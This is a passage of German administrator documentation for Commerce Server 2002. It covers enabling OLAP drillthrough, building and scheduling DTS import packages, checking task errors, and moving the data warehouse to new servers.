  8. Klicken Sie im Fenster Cube-Editor im Menü Datei auf Speichern.
  9. Klicken Sie im Menü Datei auf Beenden.
  10. Klicken Sie im Fenster Analysis-Manager mit der rechten Maustaste auf den in den vorherigen Schritten bearbeiteten Cube, und klicken Sie dann auf Rollen verwalten.
  11. Klicken Sie im Dialogfeld Cuberollen-Manager auf Bearbeiten.
  12. Aktivieren Sie auf der Registerkarte Optionen das Kontrollkästchen Drillthrough zulassen.
  13. Klicken Sie auf OK.
  14. Klicken Sie im Dialogfeld Cuberollen-Manager auf Schließen.
  15. Klicken Sie im Fenster Analysis-Manager im Menü Konsole auf Beenden.

So aktivieren Sie Drillthroughvorgänge für einen virtuellen Cube

  1. Aktivieren Sie das Drillthrough für mindestens einen Basiscube des virtuellen Cubes. Führen Sie dazu die unter So aktivieren Sie Drillthroughvorgänge für einen regulären Cube erläuterten Schritte aus.
  2. Klicken Sie auf Start, zeigen Sie auf Programme, Microsoft SQL Server, Analysis Services, und klicken Sie dann auf Analysis-Manager.
  3. Erweitern Sie auf der Registerkarte Struktur den Knoten Analysis Servers und anschließend den Knoten für den Server, auf dem das Data Warehouse ausgeführt wird. Erweitern Sie dann den Data Warehouse-Knoten, z. B. Retail_dw.
  4. Erweitern Sie den Knoten Cubes.
  5. Klicken Sie mit der rechten Maustaste auf den virtuellen Cube, für den Sie Drillthroughvorgänge aktivieren möchten, und klicken Sie auf Bearbeiten.
  6. Klicken Sie im Fenster Cube-Editor im Menü Ansicht auf Eigenschaften.
  7. Setzen Sie auf der Registerkarte Erweitert die Option Drillthrough aktivieren auf Wahr.
  8. Klicken Sie im Fenster Cube-Editor im Menü Datei auf Speichern.
  9. Klicken Sie im Menü Datei auf Beenden.
  10. Klicken Sie im Fenster Analysis-Manager mit der rechten Maustaste auf den in den vorherigen Schritten bearbeiteten Cube, und klicken Sie dann auf Rollen verwalten.
  11. Klicken Sie im Dialogfeld Cuberollen-Manager auf Bearbeiten.
  12. Aktivieren Sie auf der Registerkarte Optionen das Kontrollkästchen Drillthrough zulassen.
  13. Klicken Sie auf OK.
  14. Klicken Sie im Dialogfeld Cuberollen-Manager auf Schließen.
  15. Klicken Sie im Fenster Analysis-Manager im Menü Konsole auf Beenden.

Siehe auch

Anzeigen von dynamischen Berichten

Features von dynamischen und statischen Berichten


Anzeigen von Produktverkäufen oder Warenkorbereignissen per Drillthrough

Wenn Sie die Details der Berichte "Produktverkäufe" oder "Warenkorbereignisse" per Drillthrough anzeigen, werden in den Details unter Umständen mehr Elemente angezeigt, als im Bericht "PivotTable" angegeben sind. Dieses Verhalten kann auftreten, wenn ein Produkt mehreren Kategorien zugeordnet ist. Dies ist gewollt: Das Produkt ist in mehreren Kategorien unter der aktuell überprüften Kategorie vorhanden.

Die Berichte Produktverkäufe und Warenkorbereignisse ergänzen die Detaildaten durch zusätzliche Informationen, sodass in der PivotTable die korrekten Rollupinformationen angezeigt werden. Commerce Server verwendet diese zusätzlichen Daten bei der Überprüfung der Verkäufe und Ereignisse nach Produktkategorie, um die aggregierten Daten richtig zu berechnen. Wenn Sie das Drillthroughfeature verwenden, werden diese ausgeblendeten Daten angezeigt.

Wenn Sie sichergehen möchten, dass in den Drillthroughergebnissen je Produkt nur eine Zeile zurückgegeben wird, müssen Sie sicherstellen, dass die Produkte nur jeweils einer Produktkategorie zugeordnet sind. Dafür verwenden Sie zum Zuordnen der einzelnen Produkte zur primären übergeordneten Kategorie die gespeicherte Prozedur CSDW_MakePrimaryProductCategoryInfo. Damit gewährleisten Sie, dass die Produkte jeweils nur einer Kategorie in der Kategoriehierarchie zugeordnet werden.

Um die Zuordnung eines Produkts zu einer Kategorie basierend auf der primären übergeordneten Kategorie festzulegen, geben Sie im SQL Data Warehouse den folgenden Befehl aus. Bei Ausführung des DTS-Berichtsvorbereitungstasks wird diese Prozedur automatisch ausgeführt und dabei die neue Produktkategoriestruktur erstellt.

UPDATE StoredProcInfo set [Name] = N’CSDW_MakePrimaryProductCategoryInfo’ where [Name] = N’CSDW_MakeProductCategoryInfo’


Überprüfung auf DTS-Task-Ausführungsfehler

Bei der Ausführung eines DTS-Tasks kann es u. U. vorkommen, dass dieser Task nicht fehlerfrei abgeschlossen wird. Ein Task, der bei Ausführung seines Pakets nicht fehlerfrei abgeschlossen werden konnte, wird im Dialogfeld Paket wird ausgeführt mit "Fehler" gekennzeichnet. Mithilfe des Taskverlaufs kann der Verlauf aller ausgeführten Tasks angezeigt werden. Über den Taskverlauf können Sie Probleme diagnostizieren, die bei fehlgeschlagenen DTS-Tasks aufgetreten sind.

Mithilfe des Taskverlaufs können der Taskstatus und die Tasks selbst mit folgenden Darstellungsoptionen angezeigt werden:

  • Kleine Symbole
  • Große Symbole
  • Liste
  • Details

Die Detailansicht bietet folgende Informationen über Tasks:

  • Beschreibung
  • Anfangszeit
  • Beendigungszeit
  • Status

So prüfen Sie, ob Paketausführungsfehler vorliegen

  • Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen und Data Warehouse 1, und klicken Sie dann mit der rechten Maustaste auf Taskverlauf. Klicken Sie dann auf Ansicht und auf Details.

Im rechten Fensterbereich wird der detaillierte Taskverlauf angezeigt.

Siehe auch

Problembehandlung beim Data Warehouse-Importvorgang


Erstellen und Planen eines Pakets mit mehreren Tasks

  • Dieses Thema beinhaltet Verfahrensweisen, mit denen beschrieben wird, wie ein einzelnes, wiederverwendbares SQL Server DTS-Paket mit allen zum Import von Daten in das Data Warehouse erforderlichen Tasks erstellt werden kann. Zusätzlich sind in diesem Paket Workflowanweisungen enthalten, sodass die Tasks in der richtigen Reihenfolge ausgeführt werden. Dieses Paket wird zur erneuten Verwendung gespeichert und für eine automatische Ausführung konfiguriert.

Mit der Data Warehouse-Ressource können Pakete mit folgenden Elementen erstellt werden:

  • DTS-Tasks
  • Workflowanweisungen

Nach der Erstellung eines Pakets mit DTS-Tasks und Workflowanweisungen kann dieses Paket gespeichert und wiederverwendet werden. Sie können ein gespeichertes Paket manuell ausführen oder so planen, dass es automatisch ausgeführt wird.

Für dieses Beispiel gelten folgende Annahmen:

  • Die Daten werden für eine einzelne Site in das Data Warehouse importiert.
  • Sie haben zu einem früheren Zeitpunkt bereits einmal jeden Datentyp für die Site in das Data Warehouse importiert.

Dieser Abschnitt beinhaltet folgende Themen:

  • Schritt 1: Erstellen eines Pakets mit Commerce Server-DTS-Tasks
  • Schritt 2: Hinzufügen von Workflowanweisungen
  • Schritt 3: Ausführen des Pakets und Überprüfen auf Fehler
  • Schritt 4: Planen des Pakets zur automatischen Ausführung


Schritt 1: Erstellen eines Pakets mit CommerceServer-DTS-Tasks

Feedback zu dieser Seite senden Commerce Server 2002

Schritt 1: Erstellen eines Pakets mit Commerce Server-DTS-Tasks

In diesem Schritt erstellen Sie ein Paket mit allen Commerce Server-DTS-Tasks, die für den Import von Daten in das Data Warehouse und deren Vorbereitung für die Analyse erforderlich sind. Hierfür sind folgende Schritte durchzuführen:

  1. Erstellen eines Pakets und Hinzufügen des Konfigurationssynchronisationstasks
  2. Hinzufügen des Webserverprotokollimport-Tasks
  3. Hinzufügen des Transaktionsdatenimporttasks
  4. Hinzufügen des Produktkatalogimport-Tasks
  5. Hinzufügen des Berichtsvorbereitungstasks
  6. Speichern des Pakets

Erstellen eines Pakets und Hinzufügen des Konfigurationssynchronisationstasks

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.
  3. Klicken Sie im Menü Task auf Konfigurationssynchronisation (Commerce Server).
  4. Nehmen Sie im Dialogfeld Eigenschaften von DW-Synchronisierung die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Synchronisationstasks ein. Für die Beschreibung sind maximal 255 Zeichen zulässig.
    Vorgangsebene | Wählen Sie in der Dropdownliste Siteebene, um eine Site mit dem Data Warehouse zu synchronisieren.
    Sitename | Wählen Sie in der Dropdownliste die Site aus, die mit dem Data Warehouse synchronisiert werden soll.
  5. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion | Aktion
    Anzahl der Wiederholungen | Geben Sie an, wie oft bei Verbindungsfehlern versucht werden soll, die Verbindung mit dem Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  6. Klicken Sie auf OK.

Hinzufügen des Transaktionsdatenimport-Tasks

  1. Klicken Sie im Menü Task auf Import von Transaktionsdaten (Commerce Server).
  2. Nehmen Sie auf der Registerkarte Allgemein im Dialogfeld Transaktionsimporteigenschaften folgende Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Importtasks ein. Für die Beschreibung sind maximal 255 Zeichen zulässig.
    Vorgangsebene | Wählen Sie in der Dropdownliste die Option Siteebene aus.
    Sitename | Wählen Sie in der Dropdownliste die Site aus, die die zu importierenden Daten enthält.
    Inkrementelles Laden | Wählen Sie diese Option aus, um nur die seit dem vorangegangenen Import neu erstellten Transaktionsdaten zu importieren.
    Vollständiges Laden | Wählen Sie diese Option aus, um alle Transaktionsdaten zu importieren.
  3. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion | Aktion
    Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  4. Klicken Sie auf OK.

Hinzufügen des Webserverprotokollimport-Tasks

  1. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  2. Nehmen Sie im Dialogfeld Webserverprotokolle importieren die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Importtasks ein. Für die Beschreibung sind maximal 255 Zeichen zulässig.
    Vorgangsebene | Wählen Sie in der Dropdownliste die Option Siteebene aus.
    Sitename | Wählen Sie in der Dropdownliste den Namen der Website aus, die die zu importierende Protokolldatei enthält.
    Protokolldateipfad | Geben Sie den Pfad der zu importierenden Webprotokolldatei ein, oder klicken Sie auf Auslassungsschaltfläche, um nach dem Protokolldateipfad zu suchen.
    Protokolldateien | Klicken Sie hierauf, um das Dialogfeld Webserver-Protokolldateien zu öffnen, wählen Sie in der Liste Webserver-Protokolldateien die Webprotokolldateien aus, die Sie importieren möchten, und klicken Sie dann auf OK, um zum Dialogfeld Webserverprotokolle importieren zurückzukehren.
    Alle Protokolldateien seit dem letzten Import importieren | Wählen Sie diese Option aus, um festzulegen, dass alle seit dem letzten Import erstellten Protokolldateien importiert werden sollen.
  3. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion | Aktion
    Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  4. Klicken Sie auf OK.

Hinzufügen des Produktkatalogimport-Tasks

  1. Klicken Sie im Menü Task auf Import von Produktkatalogen (Commerce Server).
  2. Nehmen Sie im Dialogfeld Katalogimporteigenschaften die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Importtasks ein. Für die Beschreibung sind maximal 255 Zeichen zulässig.
    Vorgangsebene | Wählen Sie in der Dropdownliste die Option Siteebene aus.
    Sitename | Wählen Sie in der Dropdownliste die Site aus, die die zu importierenden Daten enthält.
    Inkrementelles Laden | Wählen Sie diese Option aus, um nur die seit dem vorangegangenen Import neu erstellten Katalogdaten zu importieren.
    Vollständiges Laden | Wählen Sie diese Option aus, um alle Katalogdaten zu importieren.
  3. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion | Aktion
    Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  4. Klicken Sie auf OK.

Hinzufügen des Berichtsvorbereitungstasks

  1. Klicken Sie im Menü Task auf Berichtsvorbereitung (Commerce Server).
  2. Nehmen Sie im Dialogfeld Berichtseigenschaften vorbereiten die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Berichtsvorbereitungstasks ein. Für die Beschreibung sind maximal 255 Zeichen zulässig.
    Sitename | Wählen Sie die Site aus, für die Sie die OLAP-Cubes auffüllen.
    Inkrementell | Wählen Sie diese Option aus, um die OLAP-Cubes inkrementell zu verarbeiten.
    Vollständig | Wählen Sie diese Option aus, um die OLAP-Cubes vollständig zu verarbeiten.
  3. Klicken Sie auf OK.

Speichern des Pakets

  1. Klicken Sie im Menü Paket auf Speichern.
  2. Geben Sie im Dialogfeld DTS-Paket speichern im Feld Paketname einen Namen für das Paket ein, beispielsweise <Sitename>Import.
  3. Klicken Sie auf OK.

Das Paket mit dem Task wurde gespeichert.


Schritt 2: Hinzufügen von Workflowanweisungen

In diesem Schritt öffnen Sie das in Schritt 1 erstellte Paket und fügen Workflowanweisungen hinzu, mit denen die Reihenfolge der Ausführung der Tasks im Paket gesteuert wird.

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Erweitern Sie Data Transformation Services, und klicken Sie dann auf Lokale Pakete.
  3. Doppelklicken Sie auf das von Ihnen erstellte Paket.
  4. Halten Sie STRG gedrückt, und klicken Sie in der folgenden Reihenfolge auf jeden einzelnen Task:
    • Konfigurationssynchronisation
    • Import von Webserverprotokollen
    • Transaktionsdatenimport
    • Produktkatalogimport
    • Berichtsvorbereitung
  5. Klicken Sie im Menü Workflow auf Bei Beendigung.

    Die entsprechenden Workflowanweisungen werden zum Paket hinzugefügt.

  6. Klicken Sie im Menü Paket auf Speichern.

Das Paket wird mit den Workflowanweisungen gespeichert.


Schritt 3: Ausführen des Pakets und Überprüfen auf Fehler

In diesem Schritt führen Sie das Paket aus und überprüfen, ob alle Tasks ordnungsgemäß ausgeführt wurden.

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Erweitern Sie Data Transformation Services, und klicken Sie dann auf Lokale Pakete.
  3. Klicken Sie mit der rechten Maustaste auf Ihr Paket, und klicken Sie anschließend auf Paket ausführen.
  4. Überprüfen Sie, ob im Dialogfeld Paket wird ausgeführt fehlgeschlagene Tasks angezeigt werden.

    Hinweis

    • Bei Fehlern in den Tasks erscheint eine entsprechende Fehlermeldung. Klicken Sie auf OK, um die Fehlermeldung zu schließen.
  5. Klicken Sie auf Fertig, um das Dialogfeld Paket wird ausgeführt zu schließen.

Weitere Information zu fehlgeschlagenen Tasks finden Sie unter Überprüfung auf DTS-Task-Ausführungsfehler.


Schritt 4: Planen des Pakets zur automatischen Ausführung

In diesem Thema wird beschrieben, wie Sie mit dem Paketplaner von SQL Server eine automatische Paketausführung planen können.

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Erweitern Sie Data Transformation Services, und klicken Sie dann auf Lokale Pakete.
  3. Klicken Sie mit der rechten Maustaste auf Ihr Paket, und klicken Sie auf Termin für Paket.
  4. Klicken Sie im Dialogfeld Zeitplan für wiederkehrende Aufträge bearbeiten im Bereich Häufigkeit auf Täglich, Wöchentlich oder Monatlich.
    • Falls Sie Täglich gewählt haben, wählen Sie die Anzahl der Tage zwischen den Paketausführungen.
    • Falls Sie Wöchentlich gewählt haben, wählen Sie die Anzahl der Wochen zwischen den Paketausführungen sowie den Wochentag der Ausführung.
    • Falls Sie Monatlich gewählt haben, wählen Sie den Tag und die Anzahl der Monate zwischen den Paketausführungen oder wählen Sie die Woche und den Tag für die Anzahl der Monate zur Paketausführung.
  5. Wenn Sie Täglich gewählt haben, wählen Sie im Bereich Häufigkeit pro Tag die Option Einmalig um, und legen Sie eine Uhrzeit fest. Sie können ebenfalls Jede auswählen und ein Intervall sowie Anfangs- und Endzeiten festlegen.
  6. Geben Sie unter Dauer ein Anfangsdatum ein, und wählen Sie dann im Dropdownkalender ein Enddatum, oder wählen Sie Kein Enddatum.
  7. Klicken Sie auf OK.

Das Paket ist jetzt geplant. Vergessen Sie nicht, den Taskverlauf regelmäßig auf fehlgeschlagene Tasks zu überprüfen. Weitere Information zur Verwendung des Taskverlaufs finden Sie unter Überprüfung auf DTS-Task-Ausführungsfehler.


Verschieben des DataWarehouse

Feedback zu dieser Seite senden Commerce Server 2002

Verschieben des Data Warehouse

Unter Umständen werden Sie die ursprünglichen Data Warehouse-Speicherzuordnungen einmal ändern müssen. Beispielsweise in dem Fall, dass die aktuellen Computer den Leistungsanforderungen des Data Warehouse nicht mehr gewachsen sind oder Sie zur Leistungssteigerung des Data Warehouse die Topologie neu konfigurieren müssen.

Die folgenden Schritte sind eine kurze Zusammenfassung der Maßnahmen, die Sie vornehmen müssen, um das Data Warehouse ohne große Beeinträchtigung des aktuellen Commerce Server-Setups auf neue Computer zu verschieben:

  1. Stellen Sie sicher, dass während des Verschiebens keine Tasks das Data Warehouse verwenden.
  2. Legen Sie fest, welche Teile des Data Warehouse verschoben werden sollen. (Soll beispielsweise nur die Data Warehouse-Datenbank, nur die Analysedatenbank oder beide verschoben werden?)
  3. Sichern Sie das aktuelle Data Warehouse (bzw. eine seiner Komponenten).
  4. Stellen Sie die gesicherte Kopie des Data Warehouse auf den neuen Computern wieder her.
  5. Aktualisieren Sie alle Data Warehouse-Verbindungszeichenfolgen so, dass sie auf die neuen Speicherorte verweisen.
  6. Löschen Sie auf den alten Computern SQL Server-Pakete/-Ereignisse, die vor dem Verschieben erstellt wurden.
  7. Führen Sie einen IISReset durch.
  8. Vergewissern Sie sich, dass Ihre Daten in den Geschäftsanalyseberichten nach wie vor angezeigt werden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Empfohlene Vorgehensweisen für das Verschieben des Data Warehouse
  • Verschieben des Data Warehouse-Inhalts
  • Aktualisieren der Data Warehouse-Verbindungen


Empfohlene Vorgehensweisen für das Verschieben des DataWarehouse

Feedback zu dieser Seite senden Commerce Server 2002

Empfohlene Vorgehensweisen für das Verschieben des Data Warehouse

Vor dem Verschieben des Data Warehouse müssen Sie Folgendes sicherstellen:

  • Die Computer, auf die Sie das Data Warehouse verschieben, entsprechen den festgelegten Plattformanforderungen von Commerce Server.
  • Eine Commerce Server-Site ist vor dem Verschieben installiert und funktioniert ordnungsgemäß.
  • Sie haben vollständigen Zugriff auf alle Computer, von denen und auf die Sie das Data Warehouse verschieben (beispielsweise vollständigen SQL Server-Zugriff und Administratorrechte auf allen Computern).
  • Für den Zeitraum des Verschiebens des betreffenden Data Warehouse sind für keine Sites Tasks geplant, die darauf zugreifen.


Verschieben des DataWarehouse-Inhalts

Feedback zu dieser Seite senden Commerce Server 2002

Verschieben des Data Warehouse-Inhalts

In diesem Abschnitt wird erläutert, wie das Data Warehouse physisch von einem Computer (oder einer Gruppe von Computern) auf einen anderen verschoben wird. Das Data Warehouse umfasst die SQL Server-Datenbank (standardmäßig mit der Bezeichnung <Sitename>_dw) und die OLAP-Datenbank für Berichte.

Verschieben der Data Warehouse-Datenbank

Verschieben der Analysedatenbank

Aktualisieren der Data Warehouse-Verbindungen

Verschieben von DTS-Paketen

Domänenübergreifende Computerkonfigurationen

Verschieben der Data Warehouse-Datenbank

Zum Verschieben der Data Warehouse-Datenbank sind vier Schritte erforderlich:

  1. Trennen der Datenbank.
  2. Kopieren der Datenbankdateien.
  3. Einfügen der Datenbank am neuen Speicherort.
  4. Anfügen der Datenbank.

Wichtig

  • Vor dem Verschieben einer SQL Server-Datenbank müssen Sie sicherstellen, dass für den entsprechenden Zeitraum im SQL-Zeitplaner keine Tasks geplant sind.

So trennen Sie eine SQL Server-Datenbank

  1. Erweitern Sie in Commerce Server Enterprise Manager erst Microsoft SQL Server, anschließend eine Servergruppe und dann einen Server.
  2. Erweitern Sie Datenbanken, klicken Sie mit der rechten Maustaste auf die zu verschiebende Datenbank, und klicken Sie anschließend auf Eigenschaften.
  3. Im Dialogfeld Eigenschaften von <Datenbank> auf der Registerkarte Datendateien wird in der Spalte Speicherort des Bereiches Datenbankdateien der vollständige Pfad angezeigt, unter dem die <Sitename>_dw-Datenbankdateien auf der Festplatte gespeichert sind. Notieren Sie den Speicherort der MDF- und der LDF-Datei.
  4. Klicken Sie auf OK, um das Dialogfeld Eigenschaften zu schließen.
  5. Klicken Sie mit der rechten Maustaste auf die zu verschiebende Datenbank, zeigen Sie auf Alle Aufgaben, und klicken Sie dann auf Datenbank trennen.
  6. Vergewissern Sie sich im Dialogfeld Datenbank trennen - <Datenbank> im Bereich Datenbankstatus, dass für die Datenbank keine Aktivitäten oder Verbindungen aktiv sind.
  7. Klicken Sie zum Abschließen des Trennvorgangs auf OK, und klicken Sie anschließend erneut auf OK, um das Bestätigungsdialogfeld zu schließen.

So kopieren Sie eine SQL Server-Datenbank

  1. Klicken Sie auf dem Desktop mit der rechten Maustaste auf Arbeitsplatz, und klicken Sie dann auf Explorer.
  2. Navigieren Sie im Browserfenster Arbeitsplatz zum Speicherort der Datei <Sitename>_dw.
  3. Kopieren Sie die folgenden Dateien auf das Medium, mit denen Sie sie zum neuen Speicherort verschieben:
    • <Sitename>_dw.mdf
    • <Sitename>_dw.ldf
Hinweis
  • Für das Data Warehouse ist sowohl die Datei <Sitename>_dw.mdf als auch die Datei <Sitename>_dw.ldf erforderlich.

So fügen Sie die SQL Server-Datenbank auf dem neuen Computer ein

  1. Klicken Sie auf dem Desktop des Zielcomputers mit der rechten Maustaste auf Arbeitsplatz, und klicken Sie dann auf Explorer.
  2. Navigieren Sie im Browserfenster Arbeitsplatz zum gewünschten neuen Speicherort, und fügen Sie die Datenbankdateien (<Sitename>_dw.mdf und <Sitename>_dw.ldf) dort ein.

So fügen Sie die Datenbank auf dem neuen Computer an

  1. Erweitern Sie in Commerce Server Enterprise Manager erst Microsoft SQL Server, anschließend eine Servergruppe und dann einen Server.
  2. Klicken Sie mit der rechten Maustaste auf Datenbanken, zeigen Sie auf Alle Aufgaben, und klicken Sie dann auf Datenbank anhängen.
  3. Geben Sie im Dialogfeld Datenbank anfügen den Speicherort der MDF-Datei der anzufügenden Datenbank ein.
  4. Vergewissern Sie sich, dass in der Spalte Ursprüngliche(r) Dateiname(n) sowohl die MDF-Datei als auch die LDF-Datei der Datenbank aufgeführt sind.
  5. Überprüfen Sie im Feld Anfügen als den Namen der Datenbank.
  6. Klicken Sie zum Anfügen der Datenbank auf OK, und klicken Sie dann erneut auf OK, um das Bestätigungsdialogfeld zu schließen.

Verschieben der Analysedatenbank

Zum Verschieben der Analysedatenbank sind drei Schritte erforderlich:

  1. Archivieren der Analysedatenbank.
  2. Wiederherstellen der Analysedatenbank am neuen Speicherort.
  3. Verarbeiten der virtuellen Cubes.

So archivieren Sie die Analysedatenbank

  1. Erweitern Sie in Commerce Server Enterprise Manager nacheinander Microsoft SQL Server, Analysis-Server und eine Servergruppe. Klicken Sie mit der rechten Maustaste auf die zu verschiebende Analysedatenbank, und klicken Sie dann auf Datenbank archivieren.
  2. Geben Sie im Dialogfeld Datenbank archivieren im Feld Speichern unter den Speicherort ein, an dem die archivierte Datenbank gespeichert werden soll. Notieren Sie den Speicherort.
  3. Klicken Sie auf Archivieren.
  4. Klicken Sie im Dialogfeld Datenbank archivieren - Fortschritt auf Schließen.

So stellen Sie die Datenbank auf dem neuen Computer wieder her

  1. Erweitern Sie in Commerce Server Enterprise Manager nacheinander Microsoft SQL Server, Analysis-Server und eine Servergruppe. Klicken Sie mit der rechten Maustaste auf den Knoten des lokalen Computers, auf dem die Analysedatenbank hinzugefügt werden soll, und klicken Sie dann auf Datenbank wiederherstellen.
  2. Navigieren Sie im Dialogfeld Archivdatei öffnen zu dem Speicherort, an dem Sie die Analysedatenbank archiviert haben, wählen Sie die CAB-Datei aus, die Sie ursprünglich als Archivdatei für die Analysedatenbank ausgewählt haben, und klicken Sie dann auf Öffnen.
  3. Klicken Sie im Dialogfeld Datenbank wiederherstellen auf Wiederherstellen, um den Wiederherstellungsvorgang abzuschließen.
  4. Klicken Sie im Dialogfeld Datenbank wiederherstellen - Fortschritt auf Schließen.

Nach der Wiederherstellung der Analysedatenbank müssen Sie die virtuellen Cubes verarbeiten.

So verarbeiten Sie die virtuellen Cubes

Hinweis

  • Um den Verschiebevorgang abzuschließen, müssen Sie alle virtuellen Cubes einzeln verarbeiten.
  1. Erweitern Sie in Commerce Server Enterprise Manager nacheinander Microsoft SQL Server, Analysis-Server, eine Servergruppe und dann Cubes. Klicken Sie dann mit der rechten Maustaste auf den zu verarbeitenden virtuellen Cube.
  2. Klicken Sie im Dialogfeld Cube aufbereiten auf OK, um den Cube zu verarbeiten.
  3. Klicken Sie im Dialogfeld Aufbereiten auf Schließen.


Aktualisieren der DataWarehouse-Verbindungen

Feedback zu dieser Seite senden Commerce Server 2002

Aktualisieren der Data Warehouse-Verbindungen

Nach dem Verschieben des Data Warehouse auf neue Computer müssen Sie die Verbindungsdaten des Data Warehouse aktualisieren. Das muss an drei Stellen geschehen:

  • Globale Data Warehouse-Ressource
  • Analysedatenbank
  • Data Warehouse-Datenbank

Wichtig

  • Prüfen Sie in Commerce Manager, Analysis-Manager und Enterprise Manager stets die Verbindungen, um sicherzustellen, dass die richtigen Verbindungsdaten eingestellt sind.
  • Führen Sie nach der Änderung von Kennwörtern immer einen IISReset aus. Damit wird gewährleistet, dass Business Desk während des Verschiebevorgangs keine Verbindungsdaten zwischengespeichert hat.

So aktualisieren Sie die Verbindungszeichenfolgen der globalen Data Warehouse-Ressource in Commerce Manager

  1. Erweitern Sie in Commerce Server Enterprise Manager nacheinander Microsoft SQL Server und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf die globale Ressource Data Warehouse, und klicken Sie dann auf Eigenschaften.
  2. Nehmen Sie im Dialogfeld Eigenschaften von Data Warehouse auf der Registerkarte SQL Server die folgenden Einstellungen vor:
    Funktion | Aktion
    Benutzer-ID | (Nur für SQL Server-Authentifizierung) Geben Sie die Benutzer-ID des SQL Server-Administrators ein.
    Kennwort | (Nur für SQL Server-Authentifizierung) Geben Sie das Kennwort des SQL Server-Administrators ein.
    Server | Geben Sie den Namen des Computers ein, auf dem sich das Data Warehouse jetzt befindet.
    Datenbank | Geben Sie den Namen der Data Warehouse-Datenbank an.
  3. Nehmen Sie im Dialogfeld Eigenschaften von Data Warehouse auf der Registerkarte Analysis-Server im Bereich Primärer Analysis-Server die folgenden Einstellungen vor:
    Funktion | Aktion
    Server | Geben Sie den Namen des Computers ein, auf dem sich das Data Warehouse jetzt befindet.
    Datenbank | Geben Sie den Namen der Analysedatenbank ein.
  4. Nehmen Sie im Dialogfeld Eigenschaften von Data Warehouse auf der Registerkarte Analysis-Server im Bereich Sekundärer Analysis-Server die folgenden Einstellungen vor:
    Funktion | Aktion
    Server | Geben Sie den Namen des Computers ein, auf dem sich das Data Warehouse jetzt befindet.
    Datenbank | Geben Sie den Namen der Analysedatenbank ein.
  5. Klicken Sie auf OK.

So aktualisieren Sie die Verbindungsdaten der Analysedatenbank in Commerce Manager

  1. Erweitern Sie in Commerce Server Enterprise Manager nacheinander Microsoft SQL Server, Analysis-Server, eine Servergruppe, die Analysedatenbank und schließlich Datenquellen. Klicken Sie mit der rechten Maustaste auf COMMERCE_DataWarehouse, und klicken Sie dann auf Bearbeiten.
  2. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften die folgenden Einstellungen vor:
    Funktion | Aktion
    Geben Sie einen Servernamen ein, oder wählen Sie einen aus | Geben Sie den Servernamen ein.
    Benutzername | (Nur für SQL Server-Authentifizierung) Geben Sie die Benutzer-ID des SQL Server-Administrators ein.
    Kennwort | (Nur für SQL Server-Authentifizierung) Geben Sie das Kennwort des SQL Server-Administrators ein.
    Wählen Sie die Datenbank auf dem Server aus | Wählen Sie in der Dropdownliste die Analysedatenbank aus.
  3. Klicken Sie auf Verbindung testen.
  4. Klicken Sie auf OK, um das Bestätigungsdialogfeld zu schließen.
  5. Klicken Sie im Dialogfeld Datenverknüpfungseigenschaften auf OK.

Die Analysedatenbank wird mit dem Data Warehouse am neuen Speicherort verknüpft.


Verschieben von DTS-Paketen

Wenn für das Data Warehouse an seinem ursprünglichen Speicherort DTS-Pakete vorhanden waren, müssen Sie diese löschen und am neuen Speicherort neue erstellen. Damit wird sichergestellt, dass nicht irgendwo alte Data Warehouse-Verbindungsdaten unerwartet gespeichert werden.


Domänenübergreifende Computerkonfigurationen

Wenn Sie das Data Warehouse teilweise oder ganz in eine andere Domäne verschieben möchten, müssen Sie folgendermaßen vorgehen:

  • Wenn SQL Server mit der integrierten Sicherheit von Windows installiert wurde, müssen Sie sicherstellen, dass alle relevanten Benutzer Zugriff auf die betreffende Domäne haben.
